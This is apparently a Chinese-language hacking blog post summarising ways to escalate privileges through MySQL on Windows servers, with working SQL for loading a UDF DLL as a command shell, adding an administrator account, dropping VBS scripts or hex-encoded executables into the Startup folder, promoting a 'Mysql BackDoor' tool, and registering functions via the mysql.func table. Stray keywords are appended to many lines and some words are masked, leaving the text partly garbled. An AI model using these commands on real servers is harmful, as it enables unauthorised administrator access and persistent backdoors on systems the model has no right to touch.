原创--对mysql提权一些总结

一 UDF提权php

这类提权方法我想你们已经知道了,我大体写一下,具体语句以下:mysql

create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:\web\3389.reg');
drop function cmdshell;
select cmdshell('netstat -an');web

二 VBS启动项提权sql

create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user iis_user 123!@#abcABC /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators iis_user /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";shell

先在webshell里链接上数据库,创建表,将VBS写入表里,而后导入启动项,若是UDF提权不行的话也能够尝试下这个方法,前提是要有ROOT权限,后面有个,0表示不弹出CMD窗口,安静的运行。数据库

还能够这样写:windows

create table a (cmd BLOB);
insert into a values (CONVERT(***的16进制代码,CHAR));
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'
drop table a;
执行前3条语句,就能够将***写进启动里了,前提是***必定要是16进制,还有就是路径要是\\,由于windows会自动过滤掉一个\服务器

三 Linx Mysql BackDoor提权ide

Linx Mysql Door
Mysql BackDoor是一款针对PHP+Mysql服务器开发的后门,该后门安装后为Mysql增长一个能够执行系统命令的"state"函数,而且随Mysql进程启动一个基于Dll的嗅探型后门,这个后门在Windows下拥有与Mysql同样的系统权限,从而巧妙的实现了无故口,无进程,无服务的穿墙***.
用法:将Mysql.php传到PHP服务器上,点击"自动安装Mysql BackDoor",而后直接执行命令便可函数

四,MIX.DLL提权

create table temp_mix(abc longblob);
insert into temp_mix values(load_file('D:\\web\\udf.dll'));
select * from temp_mix into dumpfile 'C:\\Windows\\system32\\udf.dll';
create function MyCmd returns string soname 'udf.dll';
select MyCmd('net user');
drop table if exists temp_mix;

前三句主要目的是把DLL放到系统目录.第4句创建函数.而后就能够执行系统命令了。而最容易出问题的就是第4句:can't open shared library 'udf.dll'(error 2);就说下他.

   先前的时候.有次提权.能够创建函数.也忘了什么缘由了.须要从新建下这个函数.首先百度了下.说得是:drop function MyCmd; 就能够删到已经创建的函数.测试了下.发现仍是不行.而后继续找的时候.说这是MYSQL的一个BUG.能够执行以下语句:delete from mysql.func where name='MyCmd';.测试了下成功了.前天再次盯着屏幕上的can't open shared library 'udf.dll'.又看到了这条delete语句.咱们知道delete就是删除.是删的表里的东西.删下表就能够删了函数了?那反过来.创建函数是否是就是往表里插入一条新记录?并且是mysql.func.也就是mysql这个库里的func表.呵呵.看名字也象.测试一番后.得出以下结果:

   在提权的时候.创建函数显示can't open shared library 'udf.dll'.就干脆跳过这句.执行另一句.或者说.把第4句换成:insert into mysql.func values('MyCmd',0,'udf.dll','function');.说下func这个表的结构:4列.name,return,dl,fun.第二列和第四列的名字记不大清楚了.但意思同样.有兴趣能够本身select * from func;下就知道了.第一列就是新建函数的名字.字符串.第二列是返回值.填0.第三列dl指函数所在的dll名字.字符串类型.这里为咱们导到系统目录里的dll名.不必定是udf.dll.只要跟你导出的同样就行.第四列做用不清楚.可是填上funciton这个字符串就能用.应该是指这个是个函数吧...由于这只是个插入操做.因此只要是root.应该不会有错误的.后面的就同样了.select MyCmd('whoami');.可是别急!这里有个前提:须要重启MYSQL..我对MYSQL不了解.可是重启后新建的函数绝对可用.貌似有别的办法能够达到一样的效果.好象是flush.可是具体flush哪里.就不知道了.不过不是权限.也不是func表.试过了.并且MYSQL下.搜了好久也没找到root在MYSQL下经过命令重启的.总有种感受.不用重启的.哪位对MYSQL熟悉的看到后若是知道有什么命令告诉小弟下...根据我本身最近的***测试,发现不管是剑心写的仍是其余mysql提权脚本,对HKEY_CURRENT_USER这个句柄都不支持,若是服务器禁用了CMD,即便有ROOT,也没法用写注册表的方式来解禁,要是有大牛能写出来的话还望共享一下!

相关文章
相关标签/搜索